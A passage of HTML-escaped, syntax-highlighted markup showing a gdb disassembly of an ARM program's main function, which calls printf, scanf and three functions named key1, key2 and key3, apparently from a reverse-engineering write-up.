style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;53&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;54&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;55&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;56&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;57&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;58&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;59&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;60&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;61&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;62&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;63&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;64&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;65&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;66&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;67&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;68&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;69&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;70&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;71&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;72&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;73&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;74&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;75&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;76&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;77&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;78&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;79&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;80&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;81&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;82&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(gdb)&amp;nbsp;disass&amp;nbsp;main&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Dump&amp;nbsp;of&amp;nbsp;assembler&amp;nbsp;code&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;function&amp;nbsp;main:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d3c&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r4,&amp;nbsp;r11,&amp;nbsp;lr}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d40&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r11,&amp;nbsp;sp,&amp;nbsp;#8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d44&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sub&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sp,&amp;nbsp;sp,&amp;nbsp;#12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d48&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r3,&amp;nbsp;#0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d4c&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;str&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r3,&amp;nbsp;[r11,&amp;nbsp;#&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d50&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ldr&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r0,&amp;nbsp;[pc,&amp;nbsp;#104]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x8dc0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;132&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d54&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;24&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bl&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0xfb6c&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d58&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;28&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sub&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r3,&amp;nbsp;r11,&amp;nbsp;#16&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d5c&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ldr&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r0,&amp;nbsp;[pc,&amp;nbsp;#96]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x8dc4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;136&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d60&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;36&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r1,&amp;nbsp;r3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d64&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bl&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0xfbd8&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;__isoc99_scanf&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d68&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;44&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bl&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x8cd4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;key1&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d6c&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;48&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r4,&amp;nbsp;r0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d70&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;52&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bl&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x8cf0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;key2&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d74&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;56&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r3,&amp;nbsp;r0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d78&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;60&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r4,&amp;nbsp;r4,&amp;nbsp;r3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d7c&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bl&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x8d20&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;key3&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d80&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 